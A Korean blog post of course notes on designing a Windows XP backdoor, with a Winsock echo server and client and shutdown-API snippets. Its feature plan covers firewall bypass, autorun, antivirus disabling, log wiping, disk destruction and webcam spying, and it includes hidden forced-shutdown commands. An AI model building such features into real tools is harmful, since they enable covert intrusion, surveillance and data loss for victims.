2018-12-03
Windows
악성코드 제작(PoC)
윈도우용 백도어 1 - Direct Connection
- 백도어가 작동할 타겟 시스템의 환경
- Backdoor가 설치된 운영체제는 Windows XP
- 일반 사용자가 웹 서핑 및 문서 작업용으로 사용 중
- 일반 가정집이나 소규모 사무실
- 전문적인 침해 대응팀이 운영되는 환경이 아님
- 호스트 기반 방화벽(Windows 내장 방화벽) 작동 중
- 네트워크 방화벽 없음
- 공유기
- 공유기가 없는 환경(PC가 공인 직접 IP사용)
- DMZ 또는 Port-Forwarding 설정된 환경(Dst NAT)
- 백신
- Avast 또는 알약 설치(한pc에 하나씩 작동)
- 실시간 감시 기능 작동 중
- 최신 업데이트 적용
- 통신 형태
- TCP 기반 Server / Client 방식
- 서버 --> Victim
- 클라이언트 --> Hacker
- 접속 방향
- 해커에서 백도어로 먼저 접속(Direct Connection)
- 포트 번호
- 백도어가 포트를 열고 대기해야 하므로 소켓 정보 출력 시 발각될 가능성이 높다. (netstat -ano)
- 쉽게 의심되지 않을 만한 서비스의 포트번호와 동일한 번호
- 유사한 포트 번호 사용, 실제 서비스와 충돌 가능성 주의
- 보조 기능
- 방화벽 우회
- 소프트웨어 방화벽(Windows Firewall) 예외로 설정 or 방화벽 끄기
- Outbound allow all / Inbound deny all
- 자동 실행
- 시작 프로그램으로 등록: 레지스트리 시작 프로그램 항목
- 서비스로 등록
- 안티 리버싱 / 안티 디버깅
- 설치/실행/접속 기록(Log) 제거
- 백신 무력화
- 명령 체계
- 명령어 변환없이 있는 그대로 송/수신
- 암호화 안함
- 사용법(help 메뉴)
- 연결하기: connect
- 접속 끊기 : close
- 파일 조작
- [파일 목록 출력] : dir c:\
- 소스코드: Backdoor Server / Client 시나리오 1-1
- [파일 다운로드] : get [파일명]
- 소스코드: Backdoor Server / Client 시나리오 1-2
- [파일 업로드] : put [파일명]
- 소스코드: 스스로 만들어보기 실습
- [파일 삭제] : del [파일명]
- 소스코드: 스스로 만들어보기 실습
통신S/W 함께 만들수 있도록(어플리케이션을 만드는데 연결역할)=>Winsock API(Application Programming Interface) : MS가 제공하는 함수와 구조체를 제공
- 시스템 종료/재시작
- API를 활용하는 방법
LookupPrivilegeValue / AdjustTokenPrivileges / ExitWindowsEx
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
// Get a token for this process.
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
// Get the LUID for the shutdown privilege.
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Get the shutdown privilege for this process.
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
// Shut down the system and force all applications to close.
ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);
- 명령어를 사용하는 방법
- [종료] : shutdown
- WinExec("shutdown -h -f -t 0", SW_HIDE);
- [재시작] : reboot
- WinExec("shutdown -r -f -t 0", SW_HIDE);
- OS 명령 실행 : cmd [명령]
- 명령창(cmd.exe)에서 명령어 실행
- cmd.exe에 명령어가 내장되어 있다.
- cmd.exe /c [명령어]
- cmd.exe /k [명령어]
- 프로세스 다루기
- [프로세스 목록 출력] : plist
- 소스코드: Backdoor Server / Client 시나리오 1-3
- [프로세스 생성(파일 실행)] : run [실행파일명]
- 소스코드: 스스로 만들어보기 실습
- [프로세스 종료] : pkill [pid]
- 소스코드: Backdoor Server / Client 시나리오 1-4
- 흔적제거
- [HDD 파괴] : clearhdd
- HDD Destroy 소스코드
- 웹캠 보기/녹화
- 소리 듣기/녹음
- 화면 보기/캡쳐
실습
- SERVER
// tcp_server_WinMain.cpp / 7계층(application)을 위한 악성코드를 만듬(하위계층에게 시키는 SW)#include<winsock2.h> // windows.h 포함(선언필수)#pragma comment(lib,"ws2_32.lib")int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine,int nShowCmd ){ int retval; WSADATA wsa; //변수
if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) // ws2_32.dll 초기화 //함수return -1; SOCKET tcp_sock = socket(AF_INET, SOCK_STREAM, 0); //함수//netstat -an를 진행하기 위한 소켓프로그래밍 /SOCK_STREAM: TCP용 소켓/SOCK_DGRAM: UDP용 소켓 SOCKADDR_IN serveraddr;
ZeroMemory(&serveraddr, sizeof(serveraddr)); serveraddr.sin_family = AF_INET; // 대체적으로 이 값을 기입 serveraddr.sin_port = htons(9000); // 포트번호 serveraddr.sin_addr.s_addr = htonl(INADDR_ANY); //ip주소/ INADDR_ANY=0.0.0.0 retval = bind(tcp_sock, (SOCKADDR *)&serveraddr, sizeof(serveraddr)); retval = listen(tcp_sock, SOMAXCONN); // 이 부분을 실행해야지 netstat가 응답/ 소켓이 완전히 열린 상태
SOCKET client_sock; SOCKADDR_IN clientaddr; int addrlen; char buf[10]; //
while(1){ addrlen = sizeof(clientaddr); //주소의 길이만 client_sock = accept(tcp_sock, (SOCKADDR *)&clientaddr, &addrlen);//소켓을 계속 복제 retval = recv(client_sock, buf, sizeof(buf), 0); //받은 걸 변수크기만큼 buf에 담기 buf[retval]='\0'; retval = send(client_sock, buf, strlen(buf), 0); //buf에 있는 바이트수를 계산해서 } return 0;}
[ 소스코드 빌드 ]
[ 디스어셈블리어 ]
3argc socket start
PUSH-PUSH-PUSH-CALL
**msdn(MS Development Network)
[ 중단점을 걸어 디버깅 ]
함수가 진행되어지는 과정을 자세히 보기위하여
새로운 함수가 시작하기 전에 중단점을 걸어서 확인
[ Server의 소켓확인 ]
설정한 포트가 열렸는지 확인하기 위해
[ client의 소켓확인 ]
9000포트 열림
[ 9000번포트가 연결됨 ]
Established
ESTABLISHED
Client 와 Server가 9000번 포트로 연결됨
- Client
// tcp_client_main.cpp
#include<winsock2.h> // 선언필수(windows.h 포함)#include<stdlib.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")int main(void) { int retval; char buf1[10], buf2[10]; WSADATA wsa;if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1; //WSA:=winsocket 시작하는 함수(참고) UNIX : Socket API--->Linux가 고대로 따라함--->Windows는 약간 변형: Winsock APISOCKET tcp_sock = socket(AF_INET, SOCK_STREAM, 0); //함수SOCKADDR_IN servaddr;ZeroMemory(&servaddr, sizeof(servaddr));servaddr.sin_family = AF_INET;servaddr.sin_port = htons(9000); //접속하고싶은 portnumberservaddr.sin_addr.s_addr = inet_addr("127.0.0.1");// 접속하고싶은 ipretval = connect(tcp_sock, (SOCKADDR *)&servaddr, sizeof(servaddr));printf("Input data(below 10 char) : ");scanf("%s",buf1);retval = send(tcp_sock, buf1, strlen(buf1), 0);retval = recv(tcp_sock, buf2, sizeof(buf2), 0);buf2[retval]='\0';printf("Send data: %s, Recv data: %s \n", buf1, buf2);Sleep(210000);return 0;}
쓰레기 값이 붙어 있음
디버깅하여 값이 입력되는 부분을 살펴보자

중단점을 걸어놓고 디버깅
buf1 값에 입력한 값이 들어감
더 내려옴
" "의 의미없는 값이 있음
해결
초기화필요
->data+00이 나오도록 만들어줘야 함
-> 6byte이므로 6번째 byte부터 \0(NULL)값을 준다
깨끗하게 들어옴
[ Wireshark ]
9000번 포트로 통신이 진행되고 있음
확인
No comments:
Post a Comment